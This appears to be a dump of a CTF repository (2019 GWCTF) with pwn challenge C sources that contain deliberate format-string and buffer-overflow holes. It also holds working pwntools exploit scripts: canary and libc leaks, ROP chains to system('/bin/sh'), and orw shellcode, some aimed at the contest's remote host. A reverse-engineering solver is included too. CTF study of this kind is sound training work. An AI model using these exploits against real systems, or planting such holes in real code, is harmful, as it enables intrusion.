ru("enter:") 54 | sl("1") 55 | word = p.recv(17) 56 | if "say something?: " in word: 57 | sd("%14$p") 58 | rc(1) 59 | base_addr = int(rc(14),16) - 0x195d - 0x10 + 0x30-0xf00+0x1000 60 | print "base_addr--->" + hex(base_addr) 61 | # debug(0) 62 | pop_rdi_ret = base_addr + 0x1763 63 | puts_got = base_addr + 0x000000000201F70 64 | puts_plt = base_addr + 0x0000000000009B0 65 | # debug(0) 66 | gg = base_addr + 0x202010 67 | py = '' 68 | py += "%" + str(0x77) + "c%8$hhn" + "aaaaa" + p64(gg) 69 | ru("again?") 70 | sd(py) 71 | ru("please input a magic: ") 72 | sl('624') 73 | ru("tell me your dream:\n") 74 | sd('a'*601) 75 | ru('a'*601) 76 | canary = '\x00' + p.recv()[:7] 77 | print "canary---->" + hex(u64(canary)) 78 | ret_main = 0xB60 + base_addr 79 | sl(str(2147483648)) 80 | payload = 'a'*88 81 | payload += 'Z' 82 | payload += 'a'*38 83 | payload += 'X' 84 | payload += 'a'*9 85 | payload += 'Z' 86 | payload += 'a'*16 87 | payload += 'l' 88 | payload += 'a'*445 89 | payload += canary 90 | payload += 'aaaaaaaa' 91 | payload += p64(ret_main) 92 | ru("I think the magic should be 624 hhh") 93 | sl(payload) 94 | 95 | ru("please input a magic: ") 96 | sl('624') 97 | ru("tell me your dream:\n") 98 | sd('a'*624) 99 | ru('a'*624) 100 | 101 | main_addr = u64(ru('\x57\x68')[-9:-3].ljust(8,'\x00')) - 240 102 | print "__libc_start_main---->" + hex(main_addr) 103 | onegadget = (main_addr - libc.sym['__libc_start_main']) + 0x45216 104 | print "onegadget---->" + hex(onegadget) 105 | sl(str(2147483648)) 106 | ru("I think the magic should be 624 hhh") 107 | payload = 'a'*88 108 | payload += 'Z' 109 | payload += 'a'*38 110 | payload += 'X' 111 | payload += 'a'*9 112 | payload += 'Z' 113 | payload += 'a'*16 114 | payload += 'l' 115 | payload += 'a'*445 116 | payload += canary 117 | payload += 'aaaaaaaa' 118 | payload += p64(onegadget) 119 | sl(payload) 120 | else: 121 | p.close() 122 | continue 123 | p.interactive() 124 | ``` 125 | 126 | -------------------------------------------------------------------------------- /wp/pwn/pwn_me/bin/pwn_me: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/pwn/pwn_me/bin/pwn_me -------------------------------------------------------------------------------- /wp/pwn/pwn_me/exp/pwn_me.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | from pwn import * 3 | context.log_level = 'debug' 4 | context(arch='amd64', os='linux') 5 | local = 1 6 | sl = lambda s : p.sendline(s) 7 | sd = lambda s : p.send(s) 8 | rc = lambda n : p.recv(n) 9 | ru = lambda s : p.recvuntil(s) 10 | ti = lambda : p.interactive() 11 | 12 | def debug(addr,PIE=True): 13 | if PIE: 14 | text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 15 | gdb.attach(p,'b *{}'.format(hex(text_base+addr))) 16 | else: 17 | gdb.attach(p,"b *{}".format(hex(addr))) 18 | 19 | def bk(addr): 20 | gdb.attach(p,"b *"+str(hex(addr))) 21 | 22 | i = 0 23 | while True: 24 | i += 1 25 | print i 26 | if local: 27 | p = process('./repwn') 28 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 29 | else: 30 | p = remote('',) 31 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 32 | ru("please input the secret key~") 33 | sl('[m]') 34 | ru("enter:") 35 | sl("1") 36 | word = p.recv(17) 37 | if "say something?: " in word: 38 | sd("%14$p") 39 | base_addr = int(rc(14),16) - 0x195d - 0x10 + 0x30-0xf00+0x1000 40 | print "base_addr--->" + hex(base_addr) 41 | # debug(0) 42 | pop_rdi_ret = base_addr + 0x1763 43 | puts_got = base_addr + 0x000000000201F70 44 | puts_plt = base_addr + 0x0000000000009B0 45 | # debug(0) 46 | gg = base_addr + 0x202010 47 | py = '' 48 | py += "%" + str(0x77) + "c%8$hhn" + "aaaaa" + p64(gg) 49 | ru("again?") 50 | sd(py) 51 | ru("please input a magic: ") 52 | sl('624') 53 | ru("tell me your dream:\n") 54 | sd('a'*601) 55 | ru('a'*601) 56 | canary = '\x00' + p.recv()[:7] 57 | print "canary---->" + hex(u64(canary)) 58 | ret_main = 0xB60 + base_addr 59 | sl(str(2147483648)) 60 | payload = 'a'*88 61 | payload += 'Z' 62 | payload += 'a'*38 63 | payload += 'X' 64 | payload += 'a'*9 65 | payload += 'Z' 66 | payload += 'a'*16 67 | payload += 'l' 68 | payload += 'a'*445 69 | payload += canary 70 | payload += 'aaaaaaaa' 71 | payload += p64(ret_main) 72 | ru("I think the magic should be 624 hhh") 73 | sl(payload) 74 | 75 | ru("please input a magic: ") 76 | sl('624') 77 | ru("tell me your dream:\n") 78 | sd('a'*624) 79 | ru('a'*624) 80 | 81 | main_addr = u64(ru('\x57\x68')[-9:-3].ljust(8,'\x00')) - 240 82 | print "__libc_start_main---->" + hex(main_addr) 83 | onegadget = (main_addr - libc.sym['__libc_start_main']) + 0x45216 84 | print "onegadget---->" + hex(onegadget) 85 | sl(str(2147483648)) 86 | ru("I think the magic should be 624 hhh") 87 | payload = 'a'*88 88 | payload += 'Z' 89 | payload += 'a'*38 90 | payload += 'X' 91 | payload += 'a'*9 92 | payload += 'Z' 93 | payload += 'a'*16 94 | payload += 'l' 95 | payload += 'a'*445 96 | payload += canary 97 | payload += 'aaaaaaaa' 98 | payload += p64(onegadget) 99 | sl(payload) 100 | else: 101 | p.close() 102 | continue 103 | p.interactive() -------------------------------------------------------------------------------- /wp/pwn/pwn_me/source/pwn_me.c: -------------------------------------------------------------------------------- 1 | //gcc -o repwn repwn.c 2 | #include 3 | #include 4 | #include 5 | #include 6 | int gg = 0x20; 7 | int m = 0; 8 | char cd[65]; 9 | void vul() 10 | { 11 | int aa = 0; 12 | int ne = 0; 13 | char memory[600]; 14 | char p[600]; 15 | memset(memory, 0, 0x258); 16 | memset(p, 0, 0x258); 17 | puts("welcome to PWN world!\n"); 18 | puts("please input a magic: "); 19 | scanf("%d", &aa); 20 | puts("tell me your dream:\n"); 21 | read(0, p, aa); 22 | puts("your dream is: "); 23 | puts(p); 24 | if ( strlen(p) != 624 ) 25 | { 26 | puts("What is this?!\n"); 27 | scanf("%d", &ne); 28 | if(ne<=0) 29 | { 30 | ne = -ne; 31 | } 32 | if(ne>=0) 33 | { 34 | puts("no!"); 35 | exit(0); 36 | } 37 | else 38 | { 39 | puts("I think the magic should be 624 hhh"); 40 | memset(p, 0, 0x258); 41 | read(0, p, 0x270); 42 | tee(p); 43 | } 44 | } 45 | } 46 | 47 | void undefind(char s[1024],int l) 48 | { 49 | for(int i=0;i>2; 84 | y = ((a[0]&3)<<4) + (a[1]>>4); 85 | z = ((a[1]&0xf)<<2) + (a[2]>>6); 86 | m = (a[2]&0x3f); 87 | } 88 | if(!(temp-1)){ 89 | x = a[0]>>2; 90 | y = ((a[0]&3)<<4) + (a[1]>>4); 91 | z = 64; 92 | m = 64; 93 | } 94 | if(!(temp-2)){ 95 | x = a[0]>>2; 96 | y = ((a[0]&3)<<4) + (a[1]>>4); 97 | z = ((a[1]&0xf)<<2) + (a[2]>>6); 98 | m = 64; 99 | } 100 | cd[0] = g[x]; 101 | cd[1] = g[y]; 102 | cd[2] = g[z]; 103 | cd[3] = g[m]; 104 | } 105 | } 106 | 107 | void tee(char a[600]) 108 | { 109 | if(a[88]==cd[0]&& a[127] == cd[1] && a[137] == cd[2] && a[154] == cd[3]) 110 | { 111 | puts("wow cool! hero~"); 112 | } 113 | else 114 | { 115 | puts("you lost!"); 116 | exit(0); 117 | } 118 | } 119 | int check() 120 | { 121 | puts("there is no thing here,run as fast as you can~"); 122 | if(cd[0] == 'Z'&& cd[1] == 'X'&&cd[2] == 'Z'&&cd[3] == 'l') 123 | return 1; 124 | else 125 | return 0; 126 | } 127 | void tub() 128 | { 129 | printf("******************\n"); 130 | printf("******************\n"); 131 | printf("Hack world,welcome!\n"); 132 | printf("******************\n"); 133 | printf("******************\n"); 134 | printf("I think you will enjoy it,hhhhh~\n"); 135 | printf("******************\n"); 136 | printf("******************\n"); 137 | } 138 | void kk() 139 | { 140 | m += 1; 141 | } 142 | int xmsl() 143 | { 144 | char buf[0x50]; // [rsp+10h] [rbp-110h] 145 | puts("Do you think you are cool?"); 146 | if(CheckIn() == 1 ) 147 | { 148 | memset(&buf, 0, 0x40); 149 | puts("say something?: "); 150 | read(0, &buf, 6); 151 | printf(&buf); 152 | kk(); 153 | puts("Maybe I should give you a chance"); 154 | puts("again?"); 155 | read(0,&buf,0x18); 156 | printf(&buf); 157 | kk(); 158 | if(m!=2) 159 | { 160 | exit(0); 161 | } 162 | } 163 | puts("I think i will see you again~"); 164 | } 165 | int CheckIn() 166 | { 167 | int v0; 168 | int v1; 169 | int buf; 170 | v0 = time(0); 171 | srand(v0); 172 | v1 = (rand() % 5); 173 | printf("enter:"); 174 | scanf("%d",&buf); 175 | return buf == v1; 176 | } 177 | 178 | int init() 179 | { 180 | setvbuf(stdin, 0LL, 2, 0LL); 181 | setvbuf(stdout, 0LL, 2, 0LL); 182 | setvbuf(stderr, 0LL, 2, 0LL); 183 | memset(cd, 0, 65); 184 | return alarm(0x3C); 185 | } 186 | int main() 187 | { 188 | init(); 189 | tub(); 190 | Crypto(); 191 | if(check()) 192 | { 193 | puts("OK,let us pwn pwn pwn!\n"); 194 | xmsl(); 195 | if(gg==0x77) 196 | vul(); 197 | else 198 | { 199 | printf("you play CTF like cxk~\n"); 200 | exit(0); 201 | } 202 | } 203 | else 204 | { 205 | printf("baby,try again?\n"); 206 | exit(0); 207 | } 208 | return 0; 209 | } -------------------------------------------------------------------------------- /wp/pwn/shellcode/README.md: -------------------------------------------------------------------------------- 1 | ## shellcode 2 | ### 非预期 3 | 粗心的出题人要哭死了,我应该用strdup的! 4 | 对输入进行检测的地方用strlen获取shellcode的长度,可以用0截断绕过,然后就orw shellcode一把梭了(干!) 5 | 6 | ```python 7 | from pwn import * 8 | context.log_level = 'debug' 9 | 10 | shellcode=''' 11 | push 0x67616c66 12 | mov rdi,rsp 13 | mov rax, 2 14 | xor rsi,rsi 15 | mov rdx,40 16 | syscall 17 | mov rdi,rax 18 | mov rsi,rsp 19 | xor rax,rax 20 | syscall 21 | mov rdi, 1 22 | mov rax, 1 23 | syscall 24 | ''' 25 | 26 | shellcode = '\x3c\x00'+asm(shellcode,arch='amd64',os='linux') 27 | p = process('./shellcode') 28 | p.sendline(shellcode) 29 | p.interactive() 30 | ``` 31 | ### 原预期 32 | 考查可打印shellcode的编写,程序禁用了execve所以只能写open,read,write来读取flag 33 | 可能使用alpha3生成,也可以自己编写,可用到的汇编指令如下: 34 | ``` 35 | 1.数据传送: 36 | push/pop eax… 37 | pusha/popa 38 | 39 | 2.算术运算: 40 | inc/dec eax… 41 | sub al, 立即数 42 | sub byte ptr [eax… + 立即数], al dl… 43 | sub byte ptr [eax… + 立即数], ah dh… 44 | sub dword ptr [eax… + 立即数], esi edi 45 | sub word ptr [eax… + 立即数], si di 46 | sub al dl…, byte ptr [eax… + 立即数] 47 | sub ah dh…, byte ptr [eax… + 立即数] 48 | sub esi edi, dword ptr [eax… + 立即数] 49 | sub si di, word ptr [eax… + 立即数] 50 | 51 | 3.逻辑运算: 52 | and al, 立即数 53 | and dword ptr [eax… + 立即数], esi edi 54 | and word ptr [eax… + 立即数], si di 55 | and ah dh…, byte ptr [ecx edx… + 立即数] 56 | and esi edi, dword ptr [eax… + 立即数] 57 | and si di, word ptr [eax… + 立即数] 58 | 59 | xor al, 立即数 60 | xor byte ptr [eax… + 立即数], al dl… 61 | xor byte ptr [eax… + 立即数], ah dh… 62 | xor dword ptr [eax… + 立即数], esi edi 63 | xor word ptr [eax… + 立即数], si di 64 | xor al dl…, byte ptr [eax… + 立即数] 65 | xor ah dh…, byte ptr [eax… + 立即数] 66 | xor esi edi, dword ptr [eax… + 立即数] 67 | xor si di, word ptr [eax… + 立即数] 68 | 69 | 4.比较指令: 70 | cmp al, 立即数 71 | cmp byte ptr [eax… + 立即数], al dl… 72 | cmp byte ptr [eax… + 立即数], ah dh… 73 | cmp dword ptr [eax… + 立即数], esi edi 74 | cmp word ptr [eax… + 立即数], si di 75 | cmp al dl…, byte ptr [eax… + 立即数] 76 | cmp ah dh…, byte ptr [eax… + 立即数] 77 | cmp esi edi, dword ptr [eax… + 立即数] 78 | cmp si di, word ptr [eax… + 立即数] 79 | 80 | 5.转移指令: 81 | push 56h 82 | pop eax 83 | cmp al, 43h 84 | jnz lable 85 | 86 | <=> jmp lable 87 | 88 | 6.交换al, ah 89 | push eax 90 | xor ah, byte ptr [esp] // ah ^= al 91 | xor byte ptr [esp], ah // al ^= ah 92 | xor ah, byte ptr [esp] // ah ^= al 93 | pop eax 94 | 95 | 7.清零: 96 | push 44h 97 | pop eax 98 | sub al, 44h ; eax = 0 99 | 100 | push esi 101 | push esp 102 | pop eax 103 | xor [eax], esi ; esi = 0 104 | ``` 105 | exp: 106 | ```python 107 | #coding:utf-8 108 | from pwn import * 109 | context.log_level = 'debug' 110 | # p = process('./shellcode') 111 | p = remote("183.129.189.60","10033") 112 | #内存地址随机化 113 | def debug(addr,PIE=True): 114 | if PIE: 115 | text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 116 | print "breakpoint_addr --> " + hex(text_base + 0x202040) 117 | gdb.attach(p,'b *{}'.format(hex(text_base+addr))) 118 | else: 119 | gdb.attach(p,"b *{}".format(hex(addr))) 120 | sd = lambda s:p.send(s) 121 | sl = lambda s:p.sendline(s) 122 | rc = lambda s:p.recv(s) 123 | ru = lambda s:p.recvuntil(s) 124 | sda = lambda a,s:p.sendafter(a,s) 125 | sla = lambda a,s:p.sendlineafter(a,s) 126 | 127 | # ru("name:\n") 128 | pay = ''' 129 | /*fp = open("flag")*/ 130 | push 0x67616c66 131 | push rsp 132 | pop rdi 133 | push rax 134 | pop rax 135 | push 0x5c 136 | pop rcx 137 | xor byte ptr[rax+0x25],cl 138 | push 0x5e 139 | pop rcx 140 | xor byte ptr[rax+0x26],cl 141 | push rax 142 | pop rbx 143 | push 0x50 144 | pop rax 145 | xor al,0x50 146 | push rax 147 | pop rsi 148 | push rax 149 | pop rdx 150 | push 0x40 151 | pop rax 152 | xor al,0x42 153 | push rbx 154 | pop rbx 155 | push rbx 156 | 157 | /*read(fp,buf,0x30)*/ 158 | push rax 159 | pop rdi 160 | push rsp 161 | pop rsi 162 | push 0x30 163 | pop rdx 164 | push rbx 165 | pop rax 166 | push 0x5c 167 | pop rcx 168 | xor byte ptr[rax+0x42],cl 169 | push 0x5e 170 | pop rcx 171 | xor byte ptr[rax+0x43],cl 172 | push 0x40 173 | pop rax 174 | xor al,0x40 175 | push rbx 176 | pop rbx 177 | 178 | /*write(1,buf,0x30)*/ 179 | push 0x40 180 | pop rax 181 | xor al,0x41 182 | push rax 183 | pop rdi 184 | push rbx 185 | pop rax 186 | push 0x5c 187 | pop rcx 188 | xor byte ptr[rax+0x5b],cl 189 | push 0x5e 190 | pop rcx 191 | xor byte ptr[rax+0x5c],cl 192 | push rdi 193 | pop rax 194 | push rbx 195 | pop rbx 196 | push rbx 197 | pop rbx 198 | push rbx 199 | pop rbx 200 | ''' 201 | # 0f05 202 | pay = asm(pay,arch = 'amd64',os = 'linux') 203 | # pay = 'PZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\\~__P^SX-@@@"-y``~5____P_AAAA_tRs)!(No,).7"21K 8vF D=yO~H,,OD?Erp-olv]7X\'~{z$' 204 | # debug(0xabd) 205 | sd(pay) 206 | p.interactive() 207 | ``` -------------------------------------------------------------------------------- /wp/pwn/shellcode/bin/shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/pwn/shellcode/bin/shellcode -------------------------------------------------------------------------------- /wp/pwn/shellcode/source/shellcode.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | void set_secommp(){ 7 | prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); 8 | struct sock_filter sfi[] ={ 9 | {0x20,0x00,0x00,0x00000004}, 10 | {0x15,0x00,0x05,0xc000003e}, 11 | {0x20,0x00,0x00,0x00000000}, 12 | {0x35,0x00,0x01,0x40000000}, 13 | {0x15,0x00,0x02,0xffffffff}, 14 | {0x15,0x01,0x00,0x0000003b}, 15 | {0x06,0x00,0x00,0x7fff0000}, 16 | {0x06,0x00,0x00,0x00000000} 17 | }; 18 | struct sock_fprog sfp = {8, sfi}; 19 | prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp); 20 | } 21 | 22 | int is_printable(char *s){ 23 | for (int i = 0; i < strlen(s); ++i) 24 | { 25 | if (s[i] < 0x20 || s[i] > 0x7e) 26 | { 27 | return 0; 28 | } 29 | } 30 | return 1; 31 | } 32 | int init() 33 | { 34 | setvbuf(stdin, 0LL, 2, 0LL); 35 | setvbuf(stdout, 0LL, 2, 0LL); 36 | setvbuf(stderr, 0LL, 2, 0LL); 37 | return alarm(0x3C); 38 | } 39 | 40 | int main(int argc, char const *argv[]) 41 | { 42 | init(); 43 | set_secommp(); 44 | char input[100]; 45 | bzero(input,104); 46 | printf("Welcome,tell me your name:\n"); 47 | input[read(0,input,100)-1] = 0; 48 | if (is_printable(input)) 49 | { 50 | ((void (*)(void))input)(); 51 | } 52 | else 53 | { 54 | printf("It must be a printable name!\n"); 55 | } 56 | return 0; 57 | } -------------------------------------------------------------------------------- /wp/pwn/史上最简单的pwn/README.md: -------------------------------------------------------------------------------- 1 | ## 史上最简单的pwn / easy_pwn 2 | 保护仍然是啥都没开,32位,C++编写 3 | 用c++的vector和string进行字符串拼接,把输入的`I`替换成了`pretty`,最后strcpy时候溢出 4 | exp: 5 | ```python 6 | from pwn import * 7 | context.log_level = 'debug' 8 | elf = ELF('./easy_pwn') 9 | local = 0 10 | if local: 11 | p = process('./easy_pwn') 12 | libc = elf.libc 13 | else: 14 | p = remote("183.129.189.60","10025") 15 | libc = ELF('./libc6-i386_2.23.so') 16 | main = 0x80492F5 17 | 18 | sd = lambda s:p.send(s) 19 | sl = lambda s:p.sendline(s) 20 | rc = lambda s:p.recv(s) 21 | ru = lambda s:p.recvuntil(s) 22 | sda = lambda a,s:p.sendafter(a,s) 23 | sla = lambda a,s:p.sendlineafter(a,s) 24 | 25 | ru("name!\n") 26 | pay = 'I'*0x10 27 | pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts']) 28 | # gdb.attach(p,"b *0x80490CB") 29 | 30 | sl(pay) 31 | ru('\n') 32 | puts_addr = u32(rc(4)) 33 | libc_base = puts_addr - libc.symbols['puts'] 34 | system = libc_base + libc.symbols['system'] 35 | binsh = libc_base + libc.search("/bin/sh\x00").next() 36 | log.warn("puts_addr --> %s",hex(puts_addr)) 37 | log.warn("system --> %s",hex(system)) 38 | log.warn("binsh --> %s",hex(binsh)) 39 | log.warn("libc_base --> %s",hex(libc_base)) 40 | 41 | ru("name!\n") 42 | pay = 'I'*0x10 43 | pay += p32(system) + p32(main) + p32(binsh) 44 | # gdb.attach(p,"b *0x80490CB") 45 | sl(pay) 46 | 47 | p.interactive() 48 | ``` -------------------------------------------------------------------------------- /wp/pwn/史上最简单的pwn/bin/easy_pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/pwn/史上最简单的pwn/bin/easy_pwn -------------------------------------------------------------------------------- /wp/pwn/史上最简单的pwn/bin/libstdc++.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/pwn/史上最简单的pwn/bin/libstdc++.so.6 -------------------------------------------------------------------------------- /wp/pwn/史上最简单的pwn/source/easy_pwn.cpp: -------------------------------------------------------------------------------- 1 | // g++ -s -m32 -fno-stack-protector -o easy_pwn easy_pwn.cpp 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | using namespace std; 8 | string input; 9 | //字符串分割函数 10 | vector split(string str,string pattern) 11 | { 12 | string::size_type pos; 13 | vector result; 14 | str+=pattern;//扩展字符串以方便操作 15 | int size=str.size(); 16 | 17 | for(int i=0; i result = split(input,I); 42 | if(result.size() > 1){ 43 | input = ""; 44 | if(result[0] != "") 45 | input.operator+=(result[0]); 46 | for(int i=1;i %s",hex(puts_addr)) 36 | 37 | pay = 0x10c*'a' + '\x18' 38 | pay += p64(pop_rdi) + p64(binsh) 39 | pay += p64(system) 40 | # gdb.attach(p,"b *0x40068E") 41 | sla("fun!\n",pay) 42 | p.interactive() 43 | ``` -------------------------------------------------------------------------------- /wp/pwn/宇宙无敌难(jian)搞(dan)/bin/pwn1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/pwn/宇宙无敌难(jian)搞(dan)/bin/pwn1 -------------------------------------------------------------------------------- /wp/pwn/宇宙无敌难(jian)搞(dan)/source/pwn1.c: -------------------------------------------------------------------------------- 1 | #include 2 | void init() 3 | { 4 | setvbuf(stdin, 0LL, 2, 0LL); 5 | setvbuf(stdout, 0LL, 2, 0LL); 6 | setvbuf(stderr, 0LL, 2, 0LL); 7 | } 8 | void fun1(){ 9 | char input[0x100]; 10 | char tmp; 11 | int i = 0; 12 | while(!feof(stdin)){ 13 | tmp = fgetc(stdin); 14 | if(tmp == '\n') 15 | break; 16 | input[i++] = tmp; 17 | } 18 | input[i] = 0; 19 | } 20 | 21 | int main(int argc, char const *argv[]) 22 | { 23 | init(); 24 | alarm(0x30); 25 | printf("Hack 4 fun!\n"); 26 | fun1(); 27 | return 0; 28 | } -------------------------------------------------------------------------------- /wp/reverse/babyvm/README.md: -------------------------------------------------------------------------------- 1 | ### 一、babyvm 2 | 3 | 这题有个坑就是一开始的main函数逻辑逆向出来时假的flag,因为作者做了主动防御,这里关键在于找出真正的opcode,在一开始的opcode下面,同时找到真正的check函数(未被调用),接着分析出vm指令集既可做题: 4 | 5 | ```python 6 | from z3 import * 7 | true_vm_code = [ 8 | 0xf5,#read(0,buf,0x20) 9 | 0xf1,0xe1,0x0,0x0,0x0,0x0,#r1 = flag[0] 10 | 0xf1,0xe2,0x1,0x0,0x0,0x0,#r2 = flag[1] 11 | 0xf2,#r1 = 0x12^r1^r2 12 | 0xf1,0xe4,0x0,0x0,0x0,0x0,#stack[0] = r1 13 | 14 | 0xf1,0xe1,0x1,0x0,0x0,0x0,#r1 = flag[1] 15 | 0xf1,0xe2,0x2,0x0,0x0,0x0,#r2 = flag[2] 16 | 0xf2,#r1 = 0x12^r1^r2 17 | 0xf1,0xe4,0x1,0x0,0x0,0x0,#stack[1] = r1 18 | 19 | 0xf1,0xe1,0x2,0x0,0x0,0x0,#r1 = flag[2] 20 | 0xf1,0xe2,0x3,0x0,0x0,0x0,#r2 = flag[3] 21 | 0xf2,#r1 = 0x12^r1^r2 22 | 0xf1,0xe4,0x2,0x0,0x0,0x0,#stack[2] = r1 23 | 24 | 0xf1,0xe1,0x3,0x0,0x0,0x0,#r1 = flag[3] 25 | 0xf1,0xe2,0x4,0x0,0x0,0x0,#r2 = flag[4] 26 | 0xf2,#r1 = 0x12^r1^r2 27 | 0xf1,0xe4,0x3,0x0,0x0,0x0,#stack[3] = r1 28 | 29 | 0xf1,0xe1,0x4,0x0,0x0,0x0,#r1 = flag[4] 30 | 0xf1,0xe2,0x5,0x0,0x0,0x0,#r2 = flag[5] 31 | 0xf2,#r1 = 0x12^r1^r2 32 | 0xf1,0xe4,0x4,0x0,0x0,0x0,#stack[4] = r1 33 | 34 | 0xf1,0xe1,0x5,0x0,0x0,0x0,#r1 = flag[5] 35 | 0xf1,0xe2,0x6,0x0,0x0,0x0,#r2 = flag[6] 36 | 0xf2,#r1 = 0x12^r1^r2 37 | 0xf1,0xe4,0x5,0x0,0x0,0x0,#stack[5] = r1 38 | 39 | 0xf1,0xe1,0x6,0x0,0x0,0x0,#r1 = flag[6] 40 | 0xf1,0xe2,0x7,0x0,0x0,0x0,#r2 = flag[7] 41 | 0xf1,0xe3,0x8,0x0,0x0,0x0,#r3 = flag[8] 42 | 0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12] 43 | 0xf6, #r1 = (3*r1+2*r2+r3) 44 | 0xf7, #r1 = r1*r4 45 | 0xf1,0xe4,0x6,0x0,0x0,0x0,#stack[6] = r1 46 | 47 | 0xf1,0xe1,0x7,0x0,0x0,0x0,#r1 = flag[7] 48 | 0xf1,0xe2,0x8,0x0,0x0,0x0,#r2 = flag[8] 49 | 0xf1,0xe3,0x9,0x0,0x0,0x0,#r3 = flag[9] 50 | 0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12] 51 | 0xf6, #r1 = (3*r1+2*r2+r3) 52 | 0xf7, #r1 = r1*r4 53 | 0xf1,0xe4,0x7,0x0,0x0,0x0,#stack[7] = r1 54 | 55 | 0xf1,0xe1,0x8,0x0,0x0,0x0,#r1 = flag[8] 56 | 0xf1,0xe2,0x9,0x0,0x0,0x0,#r2 = flag[9] 57 | 0xf1,0xe3,0xA,0x0,0x0,0x0,#r3 = flag[10] 58 | 0xf1,0xe5,0xC,0x0,0x0,0x0,#r4 = flag[12] 59 | 0xf6, #r1 = (3*r1+2*r2+r3) 60 | 0xf7, #r1 = r1*r4 61 | 0xf1,0xe4,0x8,0x0,0x0,0x0,#stack[8] = r1 62 | 63 | 0xf1,0xe1,0xD,0x0,0x0,0x0,#r1 = flag[13] 64 | 0xf1,0xe2,0x13,0x0,0x0,0x0,#r2 = flag[19] 65 | 0xf8,#r1 = r2,r2 = r1 66 | 0xf1,0xe4,0xD,0x0,0x0,0x0,#stack[13] = r1 67 | 0xf1,0xe7,0x13,0x0,0x0,0x0,#stack[19] = r2 68 | 69 | 0xf1,0xe1,0xE,0x0,0x0,0x0,#r1 = flag[14] 70 | 0xf1,0xe2,0x12,0x0,0x0,0x0,#r2 = flag[18] 71 | 0xf8,#r1 = r2,r2 = r1 72 | 0xf1,0xe4,0xE,0x0,0x0,0x0,#stack[14] = r1 73 | 0xf1,0xe7,0x12,0x0,0x0,0x0,#stack[18] = r2 74 | 75 | 0xf1,0xe1,0xF,0x0,0x0,0x0,#r1 = flag[15] 76 | 0xf1,0xe2,0x11,0x0,0x0,0x0,#r2 = flag[17] 77 | 0xf8,#r1 = r2,r2 = r1 78 | 0xf1,0xe4,0xF,0x0,0x0,0x0,#stack[15] = r1 79 | 0xf1,0xe7,0x11,0x0,0x0,0x0,#stack[17] = r2 80 | 0xf4#ret 81 | ] 82 | 83 | enc = [0x69, 0x45, 0x2a, 0x37, 0x9, 0x17, 0x6dc5, 0x5b0b, 0x705c, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5f, 0x33, 0x73, 0x72] 84 | 85 | a=Int('a') 86 | b=Int('b') 87 | c=Int('c') 88 | solve((3*a+2*b+c)*0x33==0x6dc5,(3*b+2*c+0x72)*0x33==0x5b0b,(3*c+2*0x72+0x33)*0x33==0x705c) 89 | #[c = 95, b = 51, a = 118] 90 | 91 | flag = enc 92 | 93 | flag[6] = 118 94 | flag[7] = 51 95 | flag[8] = 95 96 | 97 | for i in range(6): 98 | flag[6-i-1] ^= flag[6-i] 99 | 100 | def exchange(i,j): 101 | temp = flag[i] 102 | flag[i] = flag[j] 103 | flag[j] = temp 104 | 105 | exchange(13,19) 106 | exchange(14,18) 107 | exchange(15,17) 108 | 109 | string = "" 110 | for i in flag: 111 | string += chr(i) 112 | print string 113 | ``` 114 | 115 | 116 | 117 | -------------------------------------------------------------------------------- /wp/reverse/babyvm/bin/babyvm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/reverse/babyvm/bin/babyvm -------------------------------------------------------------------------------- /wp/reverse/babyvm/exp/exp.py: -------------------------------------------------------------------------------- 1 | from z3 import * 2 | true_vm_code = [ 3 | 0xf5,#read(0,buf,0x20) 4 | 0xf1,0xe1,0x0,0x0,0x0,0x0,#r1 = flag[0] 5 | 0xf1,0xe2,0x1,0x0,0x0,0x0,#r2 = flag[1] 6 | 0xf2,#r1 = 0x12^r1^r2 7 | 0xf1,0xe4,0x0,0x0,0x0,0x0,#stack[0] = r1 8 | 9 | 0xf1,0xe1,0x1,0x0,0x0,0x0,#r1 = flag[1] 10 | 0xf1,0xe2,0x2,0x0,0x0,0x0,#r2 = flag[2] 11 | 0xf2,#r1 = 0x12^r1^r2 12 | 0xf1,0xe4,0x1,0x0,0x0,0x0,#stack[1] = r1 13 | 14 | 0xf1,0xe1,0x2,0x0,0x0,0x0,#r1 = flag[2] 15 | 0xf1,0xe2,0x3,0x0,0x0,0x0,#r2 = flag[3] 16 | 0xf2,#r1 = 0x12^r1^r2 17 | 0xf1,0xe4,0x2,0x0,0x0,0x0,#stack[2] = r1 18 | 19 | 0xf1,0xe1,0x3,0x0,0x0,0x0,#r1 = flag[3] 20 | 0xf1,0xe2,0x4,0x0,0x0,0x0,#r2 = flag[4] 21 | 0xf2,#r1 = 0x12^r1^r2 22 | 0xf1,0xe4,0x3,0x0,0x0,0x0,#stack[3] = r1 23 | 24 | 0xf1,0xe1,0x4,0x0,0x0,0x0,#r1 = flag[4] 25 | 